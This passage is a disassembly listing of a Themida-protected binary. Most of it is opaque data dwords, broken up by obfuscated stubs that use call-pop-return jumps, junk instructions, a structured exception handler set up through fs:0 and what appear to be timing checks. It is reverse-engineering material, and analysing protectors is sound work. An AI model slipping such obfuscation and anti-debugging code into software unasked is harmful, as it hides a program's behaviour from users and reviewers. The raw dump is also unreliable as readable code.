54B5FF4Bh, 6A0616C4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 2740C351h dd 836E95B5h, 5F52F7EEh, 6995FFF8h, 8B061309h, 1321A9BDh dd 48B58B06h, 0F0616C4h, 6C7D9BFh, 10001h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CCC35242h, 0CA311FD1h dd 0EF805AABh, 0D88B96ECh, 0FE850h, 6E620000h, 0A310B152h dd 0E6733075h, 18FCA532h, 0F98B6609h, 6A965Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 275809C3h, 90C004DDh, 0FFE35F8Bh, 16C454B5h, 0FB8B6606h dd 2995FFFCh, 0F061332h, 0B58BFABFh, 616C448h, 6C9ABF66h dd 321D9D8Bh, 858B0613h, 6130631h, 5F5BD8Bh, 86890613h dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 73C35747h, 0E658D89h, 958B0613h, 6131BBDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EDC35747h, 958D37DEh dd 0EF816676h, 0C2834413h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C3240901h dd 2D0E5075h, 66205089h, 8DA434BFh, 16D8E385h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0EB9E7E6Ch, 16154457h, 59CF781h, 0BD893038h, 6132475h dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0E4DCEC3h, 6A6840h, 0FFD8B70Fh dd 16C454B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h dd 0E76D5D31h, 2729BBAEh, 816676B0h, 0FFA7D9EBh, 131E9595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0FA269E53h, 964E1FA8h, 4FD23EBFh, 0B8605031h dd 1A236D44h, 395BA66h, 10E99661h, 0C8000000h, 18F9AE72h dd 0C6D21F5Ch, 1A81BEE0h, 0FF0E743Fh, 16C454B5h, 0FFDA8B06h dd 13214595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0FFC8AE73h, 0F8B70F18h, 83EBC380h dd 131495BDh, 840F0006h, 67h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0CC35141h, 89368411h, 130B4D95h dd 8A0F9606h, 0Ah, 0F525060h, 53585A31h, 6650615Bh, 6A96FA8Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0E616C355h, 95DDFEBFh, 2906A1C6h, 130D498Dh dd 0FFDF8B06h, 16C454B5h, 6820F06h, 89000000h, 13135995h dd 0AD95FF06h, 6A061305h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0CDF5C357h, 0B70F45B3h dd 54B5FFDEh, 890616C4h, 13150195h, 995FF06h, 66061312h dd 835626BBh, 130511BDh, 840F0206h, 23h, 3045BD8Bh, 858B0613h dd 6130F55h, 11158D09h, 0C60613h, 0B5896000h, 6133485h dd 23698D8Bh, 0C7610613h, 131E5185h, 6, 48A0F00h, 50000000h dd 0E95FFE8Ah, 0FFFFF3F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0F9C35747h, 80A2C494h, 0A8222A7h, 0BBC18BF9h dd 6DDEBCC4h, 858DFA8Bh, 6131EA9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0DAC35646h, 24048950h, 6AD88Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EFC35242h dd 0C1A67907h, 0F460C5DAh, 0C113BB58h, 816642D4h, 6ADFB8F7h dd 90858D00h, 0E9061761h, 0Dh, 52CBD6C5h, 0CA55E1ECh, 0B797E517h dd 0E5C781EDh, 832D7539h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8B4DF9C3h, 131081BDh dd 0BB665006h, 489F57Bh, 859D8B24h, 6A061313h, 10E900h dd 0C72B0000h, 606A9178h, 70B66C63h, 16A764D5h, 6A28CFh dd 8BFB8B66h, 1309EDBDh, 0F195FF06h, 6A061307h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 57E2C355h, 0F26B7F5h, 68Fh, 9D9D0100h, 8D06130Eh, 16A36A8Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F7B282BAh, 0FF423107h, 0C800FD1h, 0F000000h dd 689h, 0E99D8B00h, 8A061331h, 3DBD83DEh, 1061317h, 98850Fh dd 81660000h, 6AE983DBh, 51006A02h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 3B77ED22h, 8942253Ah dd 133521B5h, 9B58906h, 9006130Fh, 6E9h, 917CAD00h, 50662F06h dd 1509BF66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0A69A49C4h, 61F8D5ECh, 3E0993BBh dd 9595FF18h, 6A06131Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 1C23C351h, 20D18D29h dd 49E90613h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 617619Ah push 0 push eax call sub_5C2476 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2476 proc near ; CODE XREF: Themida_:005C246Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C2476 endp ; --------------------------------------------------------------------------- dec ebp pushf lds ecx, [ebx+132851BDh] push es push 0 push edx call sub_5C249A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C249A proc near ; CODE XREF: Themida_:005C2492p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C249A endp ; --------------------------------------------------------------------------- dw 0BCEEh ; --------------------------------------------------------------------------- mov al, 42h sbb ebp, ebp fmul qword ptr [ebx-4A42F422h] or [ebx], edx push es lea eax, [ebp+6168F5Eh] push 0 push esi call sub_5C24CA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C24CA proc near ; CODE XREF: Themida_:005C24C2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C24CA endp ; --------------------------------------------------------------------------- dw 2665h dd 0C1EC32B7h, 0CB8CE920h, 8B575190h, 505B5BD9h, 0EBF6690h dd 35FF6424h, 0 ; --------------------------------------------------------------------------- mov [ebp+61316C5h], ebx mov large fs:0, esp or [ebp+61306E9h], ecx inc dword ptr [ebp+61316D9h] mov edi, ecx loc_5C2513: ; CODE XREF: Themida_:005C329Dj push 0FFFFFFFFh push 0 push eax call sub_5C2520 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2520 proc near ; CODE XREF: Themida_:005C2518p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5C2520 endp ; --------------------------------------------------------------------------- dd 0F2262692h, 29BD973Bh, 131CB99Dh, 31B5FF06h, 6A061328h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 29D0C355h, 0FCF7712Ah, 0BD891A72h, 61329A1h dd 31AD95FFh, 30E90613h, 31000001h, 13109DBDh, 2300B006h dd 1317119Dh, 8070E606h, 71E456F7h, 0CE853h, 6BE40000h dd 0C53638C7h, 4396E534h, 8D29333Eh, 6132B89h, 613C5B5Bh dd 0F9830Fh, 9D8B0000h, 6130015h, 60C8B60Fh, 0B5507EBBh dd 0ADBD8B45h, 6106131Dh, 6BAh, 5B52900h, 0E8061312h, 14h dd 0A8C02CDDh, 553DC445h, 0DAB13CBEh, 70AC4C15h, 8BBC174Bh dd 209DBD8Bh, 8B5B0613h, 598589C1h, 0C106130Fh, 0C38104E8h dd 1F884C28h, 89E2F766h, 1305C9BDh, 66C82B06h, 55BDDF81h dd 6E9D18Bh, 6D000000h, 890B0153h, 0E928h, 858B0000h, 613189Dh dd 521F9DBBh, 7C08367h, 1BEFBB66h, 19850Fh, 11E80000h dd 6E000000h, 76BCF434h, 6F68EB99h, 2E8C36E1h, 42BB70BCh dd 835BF98Bh, 0DE8B00C0h, 830FD03Bh, 14h, 41E9F9h, 0BD8B0000h dd 6131E15h, 419D8B51h, 5F061300h, 9CD8D8Bh, 0FA8B0613h dd 0F01E183h, 2284h, 0D1952900h, 83061322h, 1309CDA5h dd 0BF66FE06h, 95890E90h, 613189Dh, 1F159501h, 0E90613h dd 8D000000h, 16F5D4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 1170B245h, 998D13E0h dd 6A006A10h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0FFC8C357h, 130DA995h, 6810F06h dd 31000000h, 131059B5h, 8B4B906h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0B5A61C3h dd 131391BDh, 0FCE18306h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 7C35040h, 4977BBE3h, 0A79412FBh, 0DFBF0F46h dd 0CE9h, 39F8BD00h, 0C29CD4A8h, 247DCA1Bh, 0FCD98BF7h dd 92F38166h, 0B835h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 3948F1C3h, 4860F58h dd 66000000h, 2BC715BBh, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 66E7900Ch, 1DD2E781h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 47C35747h, 66004812h, 667FE9BFh dd 0D2866BFh, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0C9C35646h, 0D780B99Bh, 0BD958BCCh, 8B06131Bh dd 0DD8D8BF9h, 6A061318h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 3249C353h, 0C5EEA11Eh dd 8007663Ch, 8B5061CFh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0FA8B66FCh, 8FCFDB81h, 0BD836B28h, 6131D1Dh dd 0AA840F00h, 0F000000h, 0B8F9B7h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0D2DBC351h, 1860F4Ah, 0F8000000h, 4F8D8D8Dh, 9D8B0613h dd 6130B8Dh, 85896053h, 61315D5h, 7E9h, 0C53EFD00h, 13710ECCh dd 0E1FF5F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 57C35646h, 0E9701B40h, 14h, 9798287Fh, 0A7423EF0h dd 3125C354h, 0EBEB1290h, 7ECBD242h, 10E8h, 0E7FE0900h dd 2C3A90A9h, 0C39D0F57h, 298AC43Ch, 58A0F2Ch, 66000000h dd 0F909E381h, 55BD835Bh, 61330h, 453840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F6EABEC3h, 0D60FCAFDh, 518D89DDh, 83061330h, 133055BDh dd 840F0106h, 438h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0BC35646h, 0C8DEC450h, 0BD8B158Fh, 6131BD5h dd 3055BD83h, 0F030613h, 3CD86h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E2C11ED2h dd 8589B1C2h, 6131DADh, 2C59B589h, 0E8600613h, 12h, 0E7135270h dd 0A6C600A4h, 8E0B9040h, 25C7CE24h, 0BD31F34Dh, 6132405h dd 0D98C665Bh, 0D7EADF81h, 7E92F26h, 0A8000000h, 0B6730097h dd 0E18083EDh, 80C38004h, 840FC90Ah, 10Fh, 1BD59D8Bh, 858B0613h dd 6132BB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0BFC35646h, 0FE4D3BBh, 881h, 0BD295300h, 6132A4Dh dd 0B533605Bh, 6130635h, 2B35B589h, 60610613h, 1DAD9D89h dd 0B8510613h, 461596C9h, 8533615Ah, 61305B9h, 6050FA8Bh dd 9E9h, 0D3CA4900h, 0E953F505h, 0D88B878Dh, 24048961h dd 1A2D8589h, 6A0613h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 57C35040h, 8328F0D1h, 5B689740h, 6E8F5h dd 0D1150000h, 7671FB26h, 5199D8Bh, 685B0613h, 175BDB6h dd 2161BF66h, 49243481h, 6A016ABEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E7B1C350h dd 2B619D8Bh, 95FF0613h, 6130A3Dh, 24098D89h, 85890613h dd 616C454h, 2C118589h, 0F9E90613h, 8B000001h, 1311719Dh dd 15BD0106h, 8B061305h, 16C44C85h, 0C75F5706h, 1800h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 2A931940h, 0C450B58Bh, 6A0616h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD8BACC3h, 613054Dh, 2A55858Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0F3F6F8C3h dd 0D781A5A2h, 5EEF4013h, 6A0689h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8B1C04C3h, 132BB985h dd 8D9D8B06h, 66061329h, 89C77BBBh, 6A0446h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 256E1FC3h dd 0E950EBFEh, 13h, 0ABDCF2C1h, 0CFA0D524h, 20640012h dd 0E6505DB2h, 89ED7281h, 6A2434h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0AF97ADC3h, 0FE9h, 18845300h dd 98736201h, 58EE4AF8h, 63A239D2h, 0C44CB5FFh, 29600616h dd 131EAD95h, 4E86106h, 0FF000000h, 50001F03h, 448BDE8Ah dd 8A0F0424h, 0 dd 8E0F008Bh, 12h, 0AE853h, 71CF0000h, 7C7D52E2h, 11598741h dd 44895B5Bh, 29580424h, 1320E18Dh, 54858D06h, 0F0616C4h dd 5650DAB7h, 0FE9h, 0C142B00h, 0E9736FAh, 0F348DB8Ah dd 0E3F1FCCCh, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0E2C35646h, 62F7A73Bh, 0BB35BF66h, 68F0Fh dd 0B5890000h, 6131741h, 95FFDDB3h, 6130A3Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 78C35040h, 0DFD10C81h dd 51594367h, 5B7ACB80h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 5AC35367h, 305585C7h dd 30613h, 0D7810000h, 7839F168h, 0C454BD83h, 0F000616h dd 2584h, 0FAB70F00h, 38E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 30500B11h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0E66D5BAh, 0E64CE7EBh, 6A5BF553h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 5BE7C355h, 66694106h, 0BD83D88Bh, 6133055h, 8E850F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0D38AC356h, 68B0FC5h, 81000000h dd 0C87F48C7h, 54BD8351h, 616C4h, 457840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0C5AB4BC3h, 96799797h, 0E852E7AFh, 7, 8D3A53F0h, 81484A5Ah dd 0F75D58D3h, 805B5F74h, 0B5FFF5DFh, 616C454h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0D9D91DF4h dd 0BB66455Dh, 0DE986EAh, 6000000h, 6FF40570h, 738149FDh dd 4D5212E1h, 96995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 7CECDFC3h, 0B70FAEA6h dd 48B58BF9h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 7D6DC357h, 0F098D89h dd 6C70613h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 8C35343h, 0B17AAE35h, 9D8B1188h, 61307E1h dd 52506050h, 310F5250h, 310F585Ah, 585AF08Bh, 61605250h dd 6160310Fh, 8961585Ah, 13E82434h, 21000000h, 82C4F4FCh dd 0A7BBB34Ch, 19671577h, 97B09758h, 8952A4D8h, 132335B5h dd 0FF5B5F06h, 16C454B5h, 2995FF06h, 66061332h, 0FF79F781h dd 0C448B58Bh, 11E80616h, 7D000000h, 46B5AEF6h, 0E2E73112h dd 9AECFDB8h, 8F26ED6Bh, 19199589h, 8B5F0613h, 13063185h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 86895F34h, 0C4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0AC35343h, 0D2AD27E8h, 7E00AC7Ch dd 1BBD958Bh, 8B660613h, 4C283DFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E1C35242h, 6660759Dh, 0CCEEA81h dd 508961FCh, 11BD8B20h, 23061306h, 132F8DBDh, 0E3858D06h dd 6A0616D8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 73FFC352h, 86896B87h, 0B8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h, 90DCC4BFh dd 60006A33h, 1E4D9501h, 61FC0613h, 0C454B5FFh, 6A0616h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 687BD5C3h, 0FABF0FDFh, 1E9595FFh, 6A0613h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A59DD1C3h dd 14E950h, 5E740000h, 69C1C76Ah, 0CB929381h, 99DD5ABEh dd 0D7F63480h, 34894577h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B5FFEC57h dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 70C35747h, 0E9F956B0h, 0Fh, 467B3BE6h, 4077EC88h dd 0A7FDD57Bh, 0FF0CA3D9h, 13214595h, 0DE906h, 0F8640000h dd 44B92D76h, 15567407h, 66E37A70h, 0BD83FB8Bh, 6131495h dd 2B840F00h, 0E9000000h, 0Ah, 0FCCD0D16h, 5ADA54E0h, 50963F31h dd 118D0Fh, 0CE90000h, 74000000h, 0B9F94176h, 554254A8h dd 964A08ADh, 0B5FFDE8Bh, 616C454h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 3FC35040h, 0EE8F3B4Ah, 35381C0Bh dd 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C4D614C3h, 0FF6DE194h, 16C454B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 418531E6h, 0FF061315h, 13120995h, 0F98B6606h dd 511BD83h, 0F020613h, 5584h, 18C0F00h, 0F9000000h, 0BD958960h dd 61061304h, 0F55858Bh, 0C60613h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F765DE6Bh dd 41A50910h, 890F8C0Eh, 6, 2A9D8D89h, 8F0F0613h, 6, 22B9BD8Bh dd 85C70613h, 6131E51h, 0 ; --------------------------------------------------------------------------- mov ebx, 190D6741h jmp loc_5C2513 ; --------------------------------------------------------------------------- mov bl, 23h mov eax, ecx mov bh, 0ACh lea eax, [ebp+6131EA9h] pusha clc mov ax, 0C467h popa sub [ebp+6131EEDh], eax nop jmp loc_5C32CA ; --------------------------------------------------------------------------- or byte ptr [edx+ebx*2+0C3AF073h], 20h dec edx loc_5C32CA: ; CODE XREF: Themida_:005C32BCj push eax mov di, 0DA1Eh nop or [ebp+6130145h], edi push 0 jmp loc_5C32E7 ; --------------------------------------------------------------------------- db 0A2h, 17h, 8Dh dd 0D85A4BF5h ; --------------------------------------------------------------------------- push ecx and ebp, ecx loc_5C32E7: ; CODE XREF: Themida_:005C32D8j push 0 add edi, 6BDFCD07h mov bh, 0DEh lea eax, [ebp+6177166h] pusha jns loc_5C3304 mov [ebp+613251Dh], ebx loc_5C3304: ; CODE XREF: Themida_:005C32F8j mov [ebp+613301Dh], ebx popa add eax, 5 push 0 push eax call sub_5C3319 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3319 proc near ; CODE XREF: Themida_:005C3311p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5C3319 endp ; --------------------------------------------------------------------------- or al, 50h mov bx, 8294h mov [esp], eax mov di, bx push 0 push 0 push edi call sub_5C3342 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3342 proc near ; CODE XREF: Themida_:005C333Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5C3342 endp ; --------------------------------------------------------------------------- dw 0B9B7h dd 0FBD76A8Eh, 7CEA7C90h, 9CBF006Ah, 0FF705066h, 1307F195h dd 79BD8B06h, 8D061331h, 16A36A8Dh, 0D5B58906h, 0FF061316h dd 819D89D1h, 83061331h, 13173DBDh, 850F0106h, 0A0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 6AD7B70Bh dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0C401A237h, 1D8F0F90h, 60000000h, 0A846BA66h dd 11E8h, 39A1A300h, 2A834A17h, 0EAF73F13h, 0FC2ECCE5h dd 615F455Bh, 52505050h, 638074BFh, 0F310F62h, 8Eh, 5F585A00h dd 9595FF90h, 6A06131Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CAE8C356h, 4EDFE28Ch dd 0E5CE9h, 0E800h, 815D0000h, 177170EDh, 0FD98B06h, 858DFBBFh dd 6168F5Eh, 6E99589h, 0B70F0613h, 0DE8B50FBh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5B6AC351h, 0B307CFBBh, 11E956h, 55B0000h dd 52DCEB8Dh, 6D5BE4A7h, 61A1BB25h, 643779A6h, 35FFh, 0BF0F0000h dd 258964DFh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C34AF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C34AF proc near ; CODE XREF: Themida_:005C34A7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C34AF endp ; --------------------------------------------------------------------------- db 47h dd 1C2337C4h, 71D38190h, 5027138Ah, 8A0F60h, 0F000000h dd 5B61FBBFh, 16D985FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 24F729C3h, 7B6EDDE1h dd 8B5301CBh, 132A25BDh, 6AFF6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E3C6C351h dd 0B368F380h, 5DB5FF16h, 0F061300h, 186h, 95FFF800h, 61331ADh dd 0FFE9h, 0E19D8B00h, 0B006130Bh, 0E669B300h, 0A9B50970h dd 0E4061301h, 0CDBD0171h, 3C061301h, 0DD830F61h, 0E8000000h dd 0Dh, 0CAB6B60Ah, 0B7D8200Ah, 0EBF4A124h, 0BE960C5h dd 14000000h, 364F82D9h, 75317092h, 5F61CD16h, 3C8B60Fh dd 1300A19Dh, 6BA06h, 0BF660000h, 0C18B4F77h, 9559D8Bh dd 0E8C10613h, 0E2F76604h, 23C1BD8Bh, 0C82B0613h, 0C149DB81h dd 22B7130Fh, 9D8BD18Bh, 61308CDh, 68F0Fh, 9D090000h, 6131DB9h dd 6E9h, 0F8CF8100h, 8B07055Fh, 1329B185h, 0BF0F6006h dd 0EA8166D8h, 8361CA74h, 830F07C0h, 0 dd 0C083FB8Bh, 8A0F00h, 3B000000h, 14830FD0h, 0F000000h dd 35E9DEB7h, 0F000000h, 684h, 55BD8B00h, 8B06131Eh, 1311118Dh dd 0E183F506h, 19840F01h, 0F5000000h, 1111A583h, 0BFE0613h dd 132349BDh, 0B1958906h, 0E9061329h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6170037h] jmp loc_5C3662 ; --------------------------------------------------------------------------- db 0F7h dd 34BDABE3h, 0E7046A9Dh, 384FC49Fh, 722BE86Eh db 5Fh, 80h ; --------------------------------------------------------------------------- loc_5C3662: ; CODE XREF: Themida_:005C364Aj push 0 jno loc_5C366C mov bl, ch loc_5C366C: ; CODE XREF: Themida_:005C3664j call dword ptr [ebp+6130DA9h] push 0 push esi call sub_5C367D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C367D proc near ; CODE XREF: Themida_:005C3675p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5C367D endp ; --------------------------------------------------------------------------- db 0AFh, 0E0h, 0C1h dd 9185294Ch, 0B9061329h, 81Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0C4C35545h, 823B5FD3h, 839BDEE9h dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0B45155C3h, 22B52220h, 8961F960h, 133109BDh dd 6AFC06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 8FEA41C3h, 0FCCF2A27h, 0B8EAh, 0B5890000h dd 6132CD1h, 0BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0F73941B6h, 8880Fh, 8B560000h dd 132C09BDh, 33AD5F06h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0BE0325C3h, 0C1D975C2h, 0AE90Bh, 0DB060000h, 710FFBC4h dd 7CA11C22h, 0DAD9D89h, 81660613h, 0D5DCCE7h, 88h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A9C35141h, 52F60973h dd 8BDFBF0Fh, 131BBD95h, 0DE906h, 0B51D0000h, 11DF2BF3h dd 0D052C7F5h, 8BB86D94h, 1318DD8Dh, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E80BC350h dd 0Ah, 0C546EE50h, 5151E804h, 84BFDDF8h, 5B412662h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 84C35343h, 0C199D8Bh dd 0BD830613h, 6131D1Dh, 3B840F00h, 66000000h, 15FAEF81h dd 0B8D6B3h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0F54CC357h, 74583094h dd 8D8D8D21h, 0BB06134Fh, 784FCCB4h, 0BD83E1FFh, 6133055h dd 4840F00h, 0FC000005h, 3055BD83h, 0F010613h, 51184h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0D55FEDDAh, 81665D69h, 8393C5C3h, 133055BDh dd 860F0306h, 4A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 79C35242h, 0A699529h, 89600613h, 1331018Dh dd 0D98C6606h, 1EB5BD09h, 0E1800613h, 55006A04h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0B92CC42Eh, 0A8FB0F25h, 0CF816636h, 0EE9719Eh, 16000000h dd 80B471A9h, 6BF0AAF9h, 0FCDCBD43h, 0FC90A61h, 15284h dd 6DBD8B00h, 8B06131Fh, 132BB985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 55CE827Eh dd 0B7FEC781h, 0C59D3377h, 66061320h, 8533D98Bh, 61305B9h dd 1CF5BD89h, 0E9500613h, 13h, 0B217D114h, 0D092D63Ah dd 600A0A54h, 0FAA4D1C3h, 895A0F9Eh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 